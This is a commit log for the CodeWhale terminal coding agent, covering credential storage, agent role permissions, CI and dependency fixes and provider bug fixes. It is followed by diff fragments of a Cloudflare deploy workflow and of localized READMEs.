Move the existing CLI session envelope and profile/origin slot into codewhale-secrets so CLI, TUI, and Runtime read one secure record. Runtime info now advertises account_session and an authenticated, token-free account receipt with durable IDs, explicit stored scopes, and normalized cached/expired/revoked states. Anonymous probes stay signed out and never read secure storage; local signed-out Work remains valid.
(cherry picked from commit a580678503)
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Expose the full build-script provenance on /v1/runtime/info so desktop compatibility can bind the authenticated runtime to the discovered CLI/TUI pair. Require a real 40-character hexadecimal commit in the endpoint test; source archives without provenance continue to fail closed as unknown.
(cherry picked from commit 6f3d24a8fa)
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Update the repository-backed public release fact from v0.9.2 to the live v0.9.3 GitHub release. Regenerate the website fact module so local and public-surface checks agree before preparing v0.9.4.
Verified with npm run check:facts and npm run check:docs.
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
(cherry picked from commit 59ba8dab1b)
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
The handoff skill (baton-pass: write a compact decision-ready handoff,
persist it, make the context disposable for the next session) becomes a
first-party default skill so operate-mode operations can continue across
sessions. Bundled at generation 9: HANDOFF_BODY include_str, bundle
entry, canonical list via BUNDLED_SKILLS, and a v8->v9 version-bump
test mirroring the v5 pattern.
Verified: skills::system tests 21/21.
(cherry picked from commit 8fc7869a7d)
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Land the in-flight experimental-search slice as a real, honest v0.9.4
piece: a provider-neutral WorkflowSearchSpec authoring + freeze boundary
(parse/validate, preregistration hashes over baseline/requested+resolved
model/public evidence/evaluator, deterministic candidate ids and
admission batches) plus the operate best-of-N recipe's structured
'search' strategy (2-16 independent worktree candidates with
responseSchema contracts and a read-only judge). The module explicitly
remains an authoring boundary, not a runtime: hard_gates/score commands
are parsed and validated only, and docs say so.
Fixes found during the takeover operation:
- The checked-in recipe test failed against the real driver contract
(parse_task_options lets prompt win over description, so fake-driver
needles never matched and replies fell back to non-JSON). The recipe
now puts the full instruction in the single driver-visible description
and pins the prompt-wins contract with a new test.
- Queue claims verified against the runtime: the Workflow host's
per-run concurrency gate (Semaphore, 16 live) is where larger
populations wait; docs now name the gate instead of vague 'queues
through Fleet'. WORKFLOW_SEARCH_MAX_CONCURRENT documents 16 as today's
default with a cross-reference (a crate cycle prevents importing the
host constant).
- TournamentOrdering (ScoreThenCost) and the 1,000-agent validation
test bump retained from the slice.
Verified: cargo test -p codewhale-workflow -p codewhale-workflow-js
--locked green (250 + 16 + 9 + 49).
(cherry picked from commit f3e3232ef2)
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Separate base Codewhale API gaps from managed desktop projection work. Record executable acceptance tests for Fleet creation/event streaming, native GitHub workflows, packaged self-edit dogfood, and mobile control without claiming fixture evidence as release proof.
(cherry picked from commit 90cdb7346c)
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Add browser device login, profile-scoped OS credential storage, refresh and logout, and redacted BYOK vault management for the Codewhale account. Keep provider auth separate and retain cloud as a compatibility alias.
(cherry picked from commit 3c7a614d7c)
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Default scout/reviewer lanes shipped with PermissionSet::read_only()
(write+network false) and a ReadOnly shell posture, which the exact.rs
clamp strips of EVERY command surface. Live probe (2026-07-31) confirmed
the defect: a scout lane had no shell tool at all, only read-only Git,
so git/gh/rg/cargo/network recon was impossible.
New posture (matches the recon fix direction 'network_tool = true /
shell-permitted recon role' and the grokbuild capability-ladder model):
- PermissionSet::recon() = write:false, network:true
- Scout/Reviewer -> (recon(), ShellPolicy::Full)
The clamp keeps the security floor: raw shell requires write && Full, so
write:false members still lose Bash/exec_shell/task_shell_start and the
terminal family; mutating tools and non-shell execution stay denied. What
they GAIN: the bounded verification surface (Run) and network tools
(Web/Git/github), so a default scout can actually do recon.
Verified: worker_profile (12), fleet (273), subagent (513) suites green;
docs/SUBAGENTS.md role table updated. Local commits only — not pushed.
(cherry picked from commit 9c6ca7c410)
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
- default_base_url() no longer .expect()s ProviderKind metadata: a new
ApiProvider variant without KIND_LOOKUP metadata used to hard-panic at
startup/render. It now falls back to the DeepSeek defaults, mirroring
the sibling credential_help()/env_vars() convention.
- Two custom-key writes use unwrap_or_else("__custom__") instead of
expect() (same default the capture site already uses).
- Two credential-save rollback paths bind the prior-secret Ok value once
instead of expect()ing the snapshot result a second time.
- New test every_api_provider_variant_resolves_base_url_without_panicking
constructs every ApiProvider variant (all() + DeepseekCN) and asserts
a non-empty base URL resolves, so a future variant added without
metadata fails at test time, not at runtime.
Verified: 66 credential tests + api_provider tests green.
(cherry picked from commit 6c30235d12)
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
The Responses SSE parser dropped web_search_call items into the
catch-all arm, so server-side search results vanished and the user saw
an ungrounded answer. The offering keeps server_side_web_search:
Unknown (no replay loop yet), but now a web_search_call item renders as
a visible text notice explaining results are not replayed, instead of
being silently discarded. Pins the behavior in
responses_stream_surfaces_notice_for_web_search_call_items.
(cherry picked from commit 1079d8ad28)
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
The DeepSeek Responses branch collapsed off|disabled|none|false into
low, so a user picking Off for flash still paid thinking tokens and
latency. DeepSeek documents reasoning.effort: "none" as the
thinking-off value; map the off family to "none" and keep low/minimal
as low. Codex branch untouched. Pins the new labels in
deepseek_responses_reasoning_effort_uses_documented_labels.
(cherry picked from commit 8a3f5929c3)
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Make interactive Auto-Review reachable, keep permission posture live across mid-turn changes, and preserve fail-closed authorization receipts.
Repair path-included test harness compilation and make the real-PTY policy matrix assert that destructive work is held under Auto-Review while Ask and Full Access retain their documented behavior.
All substantive GitHub Actions and Buildkite #735 passed on the exact head. The lone red Claude review check was unavailable infrastructure with no findings.
Collapse the stream notice predicate, remove the single-element Fleet role loop, and tighten the exact source-structure budget after the line reduction.
Make C/C++ preprocessor edit validation path-aware and whole-file based, restore the source ratchet, and remove the newly landed unnecessary PathBuf allocation. All substantive CI and Buildkite gates passed; the lone red check was unavailable Claude review infrastructure.
Refresh the exact owned Rust line count after merging upstream turn-metadata maintenance alongside the managed Fleet Runtime work. The package, binary, large-module, and maximum-module inventories remain unchanged, and the checker passes at the new exact total.
Restore composer text only from the same-session persisted draft. Submitted prompts and internal user-transport runtime events remain history instead of being inferred as unsent input. All substantive CI and Buildkite gates passed; the lone red check was unavailable Claude review infrastructure.
Remove stale duplicated turn metadata and keep the runtime state authoritative. All substantive CI and Buildkite gates passed; the only failed check was the unavailable Claude review infrastructure.
Land the contributor's user-command dispatch precedence, shadowing, and error-semantics work after validating the later successful link gate on the exact head.
Make failed File edits actionable, add safe unique-context relocation for stale unified-diff hunks, and cover the reported CRLF/non-ASCII edit cases.
All platform, tool, lint, security, link, and focused merged-train checks pass.
Closes#5003.
Add explicit local Fleet preparation/start APIs, named role and Workflow metadata, durable privacy-bounded replay/SSE, and per-worker controls. Keep managed launch collision-safe with run-scoped worker identities, effective write-root checks, contention-aware scheduling, and compaction-safe replay epochs. Extend Runtime capabilities, SDK helpers, documentation, and regression coverage while preserving the existing CLI launch path and failing closed on unsupported targets or authority overrides.
Update ratatui to 0.30.2 and teach the PTY acceptance harness to answer standard, DEC, and chunk-split cursor-position queries.
Cargo audit, deny, exact PTY lifecycle, underwater presentation, all platform tests, lint, security, and source-budget checks pass.
Delete the default model-facing SlopLedger machinery and its storage-oriented product language while preserving ordinary output previews and expansion.
Validated by 9,474 local TUI tests and fresh macOS, Windows, lint, mobile, CodeQL, OHOS, Buildkite, link, DCO, web, and Ubuntu checks. The Claude review job failed in its known service-infrastructure path without a code finding.
Render ordinary tool-output previews, preserve real expansion, and remove retention-ledger language from the user-visible surface.
Validated by fresh macOS, Windows, lint, CodeQL, OHOS, Buildkite, link, DCO, web, and Ubuntu checks. The Claude review job failed in its known service-infrastructure path without a code finding.
The Runtime API accepts legacy yolo input but persists the current contract as Act plus Full Access. Update the broad PATCH regression to assert that normalized shape instead of the obsolete yolo mode string.
Move the existing CLI session envelope and profile/origin slot into codewhale-secrets so CLI, TUI, and Runtime read one secure record. Runtime info now advertises account_session and an authenticated, token-free account receipt with durable IDs, explicit stored scopes, and normalized cached/expired/revoked states. Anonymous probes stay signed out and never read secure storage; local signed-out Work remains valid.
Normalize current and legacy mode/permission wires into one runtime policy. Persist canonical thread defaults and per-turn receipts, then drive the engine's actual approval mode from that policy. Named postures are authoritative over legacy auto_approve/yolo fields, while trust_mode remains separate and invalid values fail closed.
Expose the full build-script provenance on /v1/runtime/info so desktop compatibility can bind the authenticated runtime to the discovered CLI/TUI pair. Require a real 40-character hexadecimal commit in the endpoint test; source archives without provenance continue to fail closed as unknown.
Update the repository-backed public release fact from v0.9.2 to the live v0.9.3 GitHub release. Regenerate the website fact module so local and public-surface checks agree before preparing v0.9.4.
Verified with npm run check:facts and npm run check:docs.
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
The handoff skill (baton-pass: write a compact decision-ready handoff,
persist it, make the context disposable for the next session) becomes a
first-party default skill so operate-mode operations can continue across
sessions. Bundled at generation 9: HANDOFF_BODY include_str, bundle
entry, canonical list via BUNDLED_SKILLS, and a v8->v9 version-bump
test mirroring the v5 pattern.
Verified: skills::system tests 21/21.
The consultant review flagged that the release lane's budget was stale:
cloud.rs (managed CLI sign-in, 1772 lines) is a new thousand-line module
absent from allowed_large_modules, and the lane's growth (ui.rs from
/automation + recon posture) exceeded every ceiling. After integrating
origin/main (latex_render + CJK width patch + CI repair), one
authoritative measurement: allowlist cloud.rs, raise the module count
(173), largest module (19198), and aggregate (647698) to the measured
values. Verified: source-structure PASS; runtime-contract PASS 55/55
(the lane does not change the tool catalog).
The v0.9.1 fix (9be600bf4) made CodeWhale's own width helpers grapheme-
aware, but Ratatui's renderer still measures ambiguous-width characters
through its own unicode-width dependency, whose width() reports
Enclosed Alphanumerics (circled digits/letters) as 1 column while CJK
terminals paint them as 2. The 1-column cell placement shifts every
downstream column by one, producing the intermittent missing-characters
/ phantom-space glitch that mouse selection only temporarily repairs.
Fix the width accounting at all three layers:
1. Patch unicode-width 0.2.2 via [patch.crates-io] so UnicodeWidthChar::
width() and UnicodeWidthStr::width() report 2 columns for Enclosed
Alphanumerics (U+2460-U+24FF), Dingbat Circled Digits (U+2776-U+2793),
and Circled Numbers on Black Square (U+3248-U+324F). The patch is
scoped to exactly those ranges; box-drawing glyphs and ellipsis keep
their 1-column non-CJK widths, so table borders and truncation do not
regress.
2. Keep the explicit range override in char_display_width as a defense
in depth that does not depend on the patch.
3. Keep the U+20E3 override in grapheme_display_width /
markdown_grapheme_width for keycap sequences that lack an FE0F
variation selector (unicode-width reports those as 1 column too).
Adds regression tests asserting UnicodeWidthChar::width('\u{2460}') ==
Some(2) and that circled digits count as 2 columns in text_display_width,
plus the existing keycap suite. 26 ui_text tests and 52 markdown_render
tests pass.
* fix(ci): skip the PR-issue link gate for bot-authored PRs
The `link` job fails on every dependabot PR (e.g. #5010-#5016): dependabot
bodies are machine-generated dependency bumps that never contain a closing
keyword, so the gate exits 1 ("This PR neither closes an issue nor says why
it doesn't", run 30665868640/job 91272641294).
Skip the gate step when the PR author is a GitHub-verified bot account
(`pull_request.user.type == 'Bot'`, set by GitHub so it cannot be spoofed).
This covers dependabot today and any other automation (renovate, etc.)
without hand-editing every bot body, while keeping the gate strict for every
human PR.
Policy choice: all verified bots, not just dependabot[bot]. Bots cannot
respond to a prompt, and their changes never close issues; the check's
purpose is keeping human work linked to its issue.
* fix(ci): provision the deny container's Rust toolchain explicitly
cargo-deny runs inside EmbarkStudios/cargo-deny-action@v2's alpine container
(host triple x86_64-unknown-linux-musl, rustup default 1.85.0-musl). The
repo's rust-toolchain.toml pins `channel = "stable"` with no target, so the
action's `rustup show` (entrypoint.sh) resolves it to
`stable-x86_64-unknown-linux-musl` — not installed — and every run prints:
error: override toolchain 'stable-x86_64-unknown-linux-musl' is not
installed: the toolchain file at '/github/workspace/rust-toolchain.toml'
specifies an uninstalled toolchain
then auto-installs mid-run (network-dependent ~12s detour; hard failure if
the download stalls; seen in run 30665967039/job 91272951661).
Pass `rust-version: stable` so the entrypoint provisions the channel
(`rustup default stable`, same musl host triple) before cargo-deny touches
the workspace; the toolchain file then resolves to an installed toolchain.
* fix(deps): bump event-listener 5.4.1 -> 5.4.2 (RUSTSEC-2026-0221)
cargo-deny (advisories) fails on every dependabot PR (e.g. run
30665967039/job 91272951661) with the unsound advisory:
error[unsound]: `event-listener` allows `!Send` tags to cross thread
boundaries via `StackSlot` (RUSTSEC-2026-0221)
event-listener 5.4.1 unconditionally implements Send/Sync for StackSlot,
allowing a !Send tag to cross threads via Event::with_tag. Pulled in via
codewhale-tui -> codewhale-workflow-js -> rquickjs -> rquickjs-core ->
async-lock (and event-listener-strategy). Advisory solution: >=5.4.2, the
latest published version.
`cargo update -p event-listener` lands exactly on 5.4.2 (also drops its now
unneeded concurrent-queue dependency). No deny.toml ignore needed.
* fix(ci): fetch the locked graph before the offline runtime-contract check
The Lint job's "Check runtime-contract budget" step fails on every
dependabot PR (run 30665967040/job 91273020141, PR #5016):
error: failed to download `assert-json-diff v2.0.2`
Caused by: attempting to make an HTTP request, but --offline was specified
subprocess.CalledProcessError: ... returned non-zero exit status 101.
[runtime-contract-budget] ERROR: runtime-contract measurement failed with exit code 1
Root cause: check-runtime-contract-budget.py hardcodes CARGO_NET_OFFLINE=true
and runs `cargo test --locked` on codewhale-tui, which needs the dev-dependency
graph (wiremock -> assert-json-diff). Clippy above builds no test targets, and
Swatinem/rust-cache keys its registry cache on Cargo.lock, so any lock-changing
PR (every dependabot bump) misses the cache and the offline test cannot
download the missing crate. Reproduced locally with the identical error by
removing assert-json-diff from the registry cache and re-running the exact
CI command.
Fix: fetch the full locked graph (`cargo fetch --locked`, dev-deps included)
once in the heavy path before the measurement, so the hermetic offline
measurement is deterministic on every branch. The budget contract itself is
unchanged and still enforced.
* fix(ci): reviewed source-structure budget update for merged LaTeX module
Merging #4981 (LaTeX rendering) added crates/tui/src/tui/history/
latex_render.rs (1734 lines) and grew aggregate owned Rust source to the
measured merged state (644756 lines). The ratchet's contract requires an
explicit reviewed update for new thousand-line modules and aggregate
growth; this commit allows the merged module and raises the ceiling to
the exact CI-measured value. Verified: check-source-structure-budget.py
PASS on the branch; runtime-contract budget still PASS 55/55.
Land the in-flight experimental-search slice as a real, honest v0.9.4
piece: a provider-neutral WorkflowSearchSpec authoring + freeze boundary
(parse/validate, preregistration hashes over baseline/requested+resolved
model/public evidence/evaluator, deterministic candidate ids and
admission batches) plus the operate best-of-N recipe's structured
'search' strategy (2-16 independent worktree candidates with
responseSchema contracts and a read-only judge). The module explicitly
remains an authoring boundary, not a runtime: hard_gates/score commands
are parsed and validated only, and docs say so.
Fixes found during the takeover operation:
- The checked-in recipe test failed against the real driver contract
(parse_task_options lets prompt win over description, so fake-driver
needles never matched and replies fell back to non-JSON). The recipe
now puts the full instruction in the single driver-visible description
and pins the prompt-wins contract with a new test.
- Queue claims verified against the runtime: the Workflow host's
per-run concurrency gate (Semaphore, 16 live) is where larger
populations wait; docs now name the gate instead of vague 'queues
through Fleet'. WORKFLOW_SEARCH_MAX_CONCURRENT documents 16 as today's
default with a cross-reference (a crate cycle prevents importing the
host constant).
- TournamentOrdering (ScoreThenCost) and the 1,000-agent validation
test bump retained from the slice.
Verified: cargo test -p codewhale-workflow -p codewhale-workflow-js
--locked green (250 + 16 + 9 + 49).
Separate base Codewhale API gaps from managed desktop projection work. Record executable acceptance tests for Fleet creation/event streaming, native GitHub workflows, packaged self-edit dogfood, and mobile control without claiming fixture evidence as release proof.
Add browser device login, profile-scoped OS credential storage, refresh and logout, and redacted BYOK vault management for the Codewhale account. Keep provider auth separate and retain cloud as a compatibility alias.
- Add CmdAutomationDescription to all 14 shipped locale packs (the
/automation command surface introduced the key; only en.json had it,
failing the raw-key-parity gate).
- fleet_roster detail test pins the recon posture: scout/reviewer now
report 'shell full' (bounded verification surface + network; raw
shell stays write-gated) instead of 'shell read-only'.
The durable automation engine (AutomationManager + model-visible
'automation' tool) shipped in earlier releases with no operator surface:
users could only reach it through the model. Add /automation with
list/show/pause/resume/delete/run actions routed through AppAction so
the shared manager lock is awaited in the UI loop:
- /automation -> list automations (id, status, next run)
- /automation show <id> -> one automation + recent run records
- /automation pause|resume <id> -> flip status
- /automation delete <id> -> remove automation + its runs
- /automation run <id> -> enqueue a durable task now
Creation stays with the model-visible 'automation' tool (approval-gated
authoring); the command surface is read/inspect/control only. Adds
CmdAutomationDescription localization + 32 passing tests (command
parsing, registry smoke, task/automation_manager suites, localization
completeness gate).
Default scout/reviewer lanes shipped with PermissionSet::read_only()
(write+network false) and a ReadOnly shell posture, which the exact.rs
clamp strips of EVERY command surface. Live probe (2026-07-31) confirmed
the defect: a scout lane had no shell tool at all, only read-only Git,
so git/gh/rg/cargo/network recon was impossible.
New posture (matches the recon fix direction 'network_tool = true /
shell-permitted recon role' and the grokbuild capability-ladder model):
- PermissionSet::recon() = write:false, network:true
- Scout/Reviewer -> (recon(), ShellPolicy::Full)
The clamp keeps the security floor: raw shell requires write && Full, so
write:false members still lose Bash/exec_shell/task_shell_start and the
terminal family; mutating tools and non-shell execution stay denied. What
they GAIN: the bounded verification surface (Run) and network tools
(Web/Git/github), so a default scout can actually do recon.
Verified: worker_profile (12), fleet (273), subagent (513) suites green;
docs/SUBAGENTS.md role table updated. Local commits only — not pushed.
Four TODO(v0.8.71) markers (remember-tool gating, memory quick-add,
two memory push/inject sites) still gate on Moraine recall (#3490,
#3495). #3495 moved to the v0.9.4 milestone and stays open, so the
legacy paths are not removable yet — bump the markers to v0.9.4
instead of shipping a premature removal.
- default_base_url() no longer .expect()s ProviderKind metadata: a new
ApiProvider variant without KIND_LOOKUP metadata used to hard-panic at
startup/render. It now falls back to the DeepSeek defaults, mirroring
the sibling credential_help()/env_vars() convention.
- Two custom-key writes use unwrap_or_else("__custom__") instead of
expect() (same default the capture site already uses).
- Two credential-save rollback paths bind the prior-secret Ok value once
instead of expect()ing the snapshot result a second time.
- New test every_api_provider_variant_resolves_base_url_without_panicking
constructs every ApiProvider variant (all() + DeepseekCN) and asserts
a non-empty base URL resolves, so a future variant added without
metadata fails at test time, not at runtime.
Verified: 66 credential tests + api_provider tests green.
The Responses SSE parser dropped web_search_call items into the
catch-all arm, so server-side search results vanished and the user saw
an ungrounded answer. The offering keeps server_side_web_search:
Unknown (no replay loop yet), but now a web_search_call item renders as
a visible text notice explaining results are not replayed, instead of
being silently discarded. Pins the behavior in
responses_stream_surfaces_notice_for_web_search_call_items.
The DeepSeek Responses branch collapsed off|disabled|none|false into
low, so a user picking Off for flash still paid thinking tokens and
latency. DeepSeek documents reasoning.effort: "none" as the
thinking-off value; map the off family to "none" and keep low/minimal
as low. Codex branch untouched. Pins the new labels in
deepseek_responses_reasoning_effort_uses_documented_labels.
2026-07-31 13:28:25 -07:00
940 changed files with 247987 additions and 115155 deletions
echo "::notice title=Web deployment approval needed::Revision ${REVISION} passed the web gates but is not deployed. Dispatch web.yml on main to publish it."
{
echo "## Web deployment approval needed"
echo
echo "Revision \`${REVISION}\` passed the web gates but has **not** been deployed."
echo
echo "A maintainer can publish it with \`gh workflow run web.yml --repo Hmbown/CodeWhale --ref main\`."
} >> "$GITHUB_STEP_SUMMARY"
deploy:
name:Deploy to Cloudflare
runs-on:ubuntu-latest
@@ -103,9 +122,10 @@ jobs:
run:npm run compare:deployed-facts -- --expected-revision "$GITHUB_SHA"
- name:Check Cloudflare deploy environment
run:npm run check:deploy-env
- name:Build OpenNext bundle
run:npm run build && npx opennextjs-cloudflare build
- name:Deploy
# npm's deploy script performs one OpenNext build, then deploys that exact
# bundle. Wrangler must not run a custom post-cache build: OpenNext
# populates the remote cache before it hands the bundle to Wrangler.
- name:Build and deploy exact OpenNext bundle
run:npm run deploy
- name:Verify exact deployed revision
# The public /api/facts receipt must identify this workflow's exact
Sebuah coding agent sumber terbuka untuk terminal Anda — bawa model pilihan Anda sendiri.
@@ -7,13 +7,16 @@ Codewhale berawal sebagai pengalaman asli (native) untuk DeepSeek. Sejak saat it
Berikan penyedia, model, dan tugas: Codewhale akan membaca kode Anda, mengedit berkas, menjalankan perintah, serta memeriksa hasil kerjanya sendiri, lalu berhenti setelah pekerjaan selesai atau ketika membutuhkan arahan Anda. Ganti model di tengah tugas dengan `/model`. Bekerja secara interaktif di TUI, atau jalankan `codewhale exec` dalam skrip dan CI. Dibuat menggunakan Rust, berlisensi MIT, dan berjalan langsung di mesin Anda sendiri.
Yang membedakannya dari harness lain: **Anda memilih model untuk setiap peran, dan model-model itu tidak harus sama.** Sebuah fleet menyematkan penyedia, model, dan tingkat penalaran per peran — sehingga model yang murah dan cepat bisa mengarahkan model penalaran yang mahal, atau seorang builder GLM bisa mengerjakan tugas yang sama dengan seorang reviewer Kimi. Tulis peran Anda sendiri, constitution Anda sendiri, dan harness itu menjadi milik Anda, bukan milik kami.
Kami selalu membuka kesempatan bagi para kontributor dan cara untuk terus berkembang. Jika model atau penyedia yang Anda gunakan belum tersedia, atau ada hal yang tidak berjalan semestinya, memberi tahu kami adalah salah satu kontribusi paling berharga yang bisa Anda lakukan — lihat [Kontribusi](#kontribusi).
Di dalam TUI: `/model` mengganti penyedia dan model sekaligus, `/fleet` menjalankan tim pekerja (workers), dan `/restore` membatalkan satu langkah (turn). Saat composer dalam keadaan diam (idle), `Tab` beralih antar mode Plan / Act / Operate dan `Shift+Tab` beralih antar postur izin Ask / Auto-Review / Full Access. `!` menjalankan perintah shell melalui alur persetujuan normal.
Di dalam TUI: `/model` mengganti penyedia dan model sekaligus, `/fleet` menjalankan tim pekerja (workers), `/undo` membatalkan langkah (turn) terakhir, dan `/restore <N>` mengembalikan workspace ke snapshot sebelumnya (`/restore` tanpa argumen hanya menampilkan daftarnya). Saat composer kosong, `Tab` beralih antar mode Plan / Work / Operate; bila composer berisi teks, `Tab` justru melengkapi perintah slash dan sebutan `@`. `Shift+Tab` beralih antar postur izin Ask / Auto-Review / Full Access kapan saja. `!` menjalankan perintah shell melalui alur persetujuan normal.
## Fitur & Kapabilitas
- **Model mana saja, penyedia apa saja.** DeepSeek, Claude, GPT, Kimi, GLM, dan 30+ penyedia lainnya, ditambah vLLM, SGLang, atau Ollama milik Anda sendiri tanpa memerlukan API key — semuanya melalui satu runtime dan satu kumpulan alat. Batas konteks dan harga diambil dari rute sebenarnya, dan harga yang tidak diketahui ditampilkan sebagai *unknown* daripada $0.
- **Harness yang Anda tulis sendiri.** Peran adalah berkas yang bisa Anda baca dan sunting — satu model, satu sikap perkakas, dan instruksi tetap untuk tiap peran — disimpan di dalam proyek agar tim berbagi, atau di samping pengaturan pribadi Anda agar ikut berpindah antar repo. Constitution mencatat bagaimana Anda ingin agen berperilaku di setiap sesi, sehingga harness mengikuti cara kerja Anda, bukan cara kami.
- **Read-only sampai Anda memberi izin lebih.** Mode Plan tidak dapat mengubah berkas, dan gerbang persetujuan memproteksi perintah berisiko. Ketika sandbox OS membungkus perintah, Codewhale akan menginformasikannya: Seatbelt pada macOS (jika tersedia), serta opsi bubblewrap di Linux. Berkas `constitution.json` repositori dikompilasi menjadi pembatas penulisan yang bahkan tidak dapat dilewati oleh mode Full Access.
- **Pekerjaan yang dapat dilanjutkan.** Fleet mencatat setiap langkah ke ledger bertipe append-only, sehingga `fleet resume` dapat melanjutkan pekerjaan tepat di mana Anda meninggalkannya.
@@ -46,7 +51,10 @@ Di dalam TUI: `/model` mengganti penyedia dan model sekaligus, `/fleet` menjalan
- [docs/PROVIDERS.id.md](docs/PROVIDERS.id.md) ([English](docs/PROVIDERS.md)) — setiap rute penyedia: hosted, gateway, dan lokal
- [docs/FLEET.id.md](docs/FLEET.id.md) ([English](docs/FLEET.md)) — fleet, ledger, dan kelanjutan sesi (resume)
- [docs/WORKFLOW_EXPERIMENTAL_SEARCH.md](docs/WORKFLOW_EXPERIMENTAL_SEARCH.md) — pencarian eksperimental yang dibekukan dan netral terhadap penyedia di dalam Workflow
- [docs/CONFIGURATION.id.md](docs/CONFIGURATION.id.md) ([English](docs/CONFIGURATION.md)) — `config.toml`, hooks, dan konstitusi
- [docs/AUTHORIZATION_ORDER.md](docs/AUTHORIZATION_ORDER.md) — bagaimana mode, hooks, aturan izin, batas keamanan, hukum repositori, persetujuan, dan sandbox saling menyusun
- [docs/HOOKS.md](docs/HOOKS.md) — sebelas event hook siklus hidup TUI, payload-nya, dan tiga di antaranya yang dapat mengarahkan sebuah turn (`codewhale exec` dan subperintah CLI tidak memicu hooks)
- [docs/WEB.id.md](docs/WEB.id.md) ([English](docs/WEB.md)) — klien browser berbasis loopback-only dan batas autentikasi sekali pakainya
@@ -7,13 +7,16 @@ Codewhale은 DeepSeek을 위한 네이티브 경험으로 시작했습니다.
프로바이더, 모델, 작업을 지정하면 코드를 읽고, 파일을 편집하고, 명령을 실행하고, 스스로 작업을 확인하며, 작업이 끝나거나 사용자의 판단이 필요해지면 멈춥니다. 작업 도중에도 `/model`로 모델을 바꿀 수 있습니다. 대화형 작업에는 TUI를, 스크립트와 CI에는 `codewhale exec`를 사용합니다. Rust로 작성했고, MIT 라이선스이며, 당신의 컴퓨터에서 실행됩니다.
다른 하네스와 다른 점은 이것입니다. **역할마다 어떤 모델을 쓸지 당신이 고르고, 서로 같을 필요가 없습니다.** Fleet은 역할별로 프로바이더, 모델, 추론 등급을 각각 고정합니다. 그래서 빠르고 저렴한 모델이 값비싼 추론 모델을 지휘할 수도 있고, GLM builder와 Kimi reviewer가 같은 작업을 함께 처리할 수도 있습니다. 자신의 역할과 자신의 constitution을 쓰면, 그 하네스는 우리 것이 아니라 당신 것이 됩니다.
우리는 항상 기여자와 개선할 방법을 찾고 있습니다. 사용하는 모델이나 프로바이더가 빠져 있거나 무언가가 깨진다면, 그것을 알려 주는 일이 할 수 있는 가장 유용한 일 중 하나입니다 — [기여](#기여)를 참고하세요.
TUI 안에서: `/model`은 프로바이더와 모델을 함께 전환하고, `/fleet`은 워커 팀을 실행하며, `/restore`는 한 턴을 되돌립니다. 입력창이 유휴 상태일 때 `Tab`은 Plan / Act / Operate 모드를 순환하고, `Shift+Tab`은 Ask / Auto-Review / Full Access 권한 태세를 순환합니다. `!`는 일반 승인 경로를 거쳐 셸 명령을 실행합니다.
TUI 안에서: `/model`은 프로바이더와 모델을 함께 전환하고, `/fleet`은 팀을 구성하고 실행하며(한 번에 한 역할씩, 각자 자기 모델을 가집니다), `/undo`는 직전 턴을 되돌리고, `/restore <N>`은 워크스페이스를 이전 스냅샷으로 되돌립니다(인자 없는 `/restore`는 스냅샷 목록만 보여줍니다). 입력창이 비어 있을 때 `Tab`은 Plan / Work / Operate 모드를 순환하고, 입력창에 내용이 있으면 `Tab`은 슬래시 명령과 `@` 멘션을 자동 완성합니다. `Shift+Tab`은 언제든지 Ask / Auto-Review / Full Access 권한 태세를 순환합니다. `!`는 일반 승인 경로를 거쳐 셸 명령을 실행합니다.
## 기능
- **어떤 모델이든, 어떤 프로바이더든.** DeepSeek, Claude, GPT, Kimi, GLM 등 30개 이상의 프로바이더와 키 없이 쓰는 자체 vLLM, SGLang, Ollama가 모두 하나의 런타임과 하나의 도구 세트를 통해 동작합니다. 컨텍스트 예산과 가격은 실제 라우트에서 가져오며, 알 수 없는 가격은 $0이 아니라 알 수 없음으로 표시됩니다.
- **어떤 모델이든, 어떤 프로바이더든, 그리고 어떤 조합이든.** DeepSeek, Claude, GPT, Kimi, GLM 등 30개 이상의 프로바이더와 키 없이 쓰는 자체 vLLM, SGLang, Ollama가 모두 하나의 런타임과 하나의 도구 세트를 통해 동작합니다. 저장된 역할은 `provider`, `model`, 추론 등급을 명시적으로 기록하므로 하나의 실행 안에서 Fleet이 여러 벤더에 걸칠 수 있고, 역할의 라우트는 그때 활성화된 프로바이더에 좌우되지 않습니다. 컨텍스트 예산과 가격은 실제 라우트에서 가져오며, 알 수 없는 가격은 $0이 아니라 알 수 없음으로 표시됩니다.
- **당신이 직접 쓰는 하네스.** 역할은 읽고 수정할 수 있는 파일입니다. 역할마다 모델, 도구 태세, 상시 지시를 담아 팀과 공유하려면 프로젝트에, 저장소를 옮겨 다니며 쓰려면 개인 설정 옆에 둡니다. constitution은 모든 세션에서 에이전트가 어떻게 행동하기를 바라는지 기록해, 하네스가 우리 방식이 아니라 당신의 방식에 맞도록 합니다.
- **허용하기 전까지는 읽기 전용.** Plan 모드는 파일을 바꾸지 않고, 위험한 명령은 승인을 거칩니다. OS 샌드박스가 실제로 명령을 래핑할 때 Codewhale은 이를 그대로 표시합니다. macOS에서는 사용 가능한 Seatbelt, Linux에서는 옵트인 bubblewrap입니다. 저장소의 `constitution.json`은 Full Access조차 건너뛸 수 없는 쓰기 홀드로 컴파일됩니다.
- **이어서 할 수 있는 작업.** Fleet은 모든 단계를 추가 전용 원장에 기록하므로, `fleet resume`으로 멈춘 지점부터 이어갈 수 있습니다.
@@ -47,6 +52,8 @@ TUI 안에서: `/model`은 프로바이더와 모델을 함께 전환하고, `/f
- [docs/PROVIDERS.md](docs/PROVIDERS.md) — 호스팅·게이트웨이·로컬까지 모든
Trong TUI: `/model` đổi provider và model cùng lúc, `/fleet` chạy một đội
worker, và `/restore` hoàn tác một lượt. Khi vùng soạn thảo đang rảnh, `Tab`
chuyển vòng qua Plan / Act / Operate và `Shift+Tab` chuyển vòng qua tư thế
quyền Ask / Auto-Review / Full Access. `!` chạy một lệnh shell qua đường phê
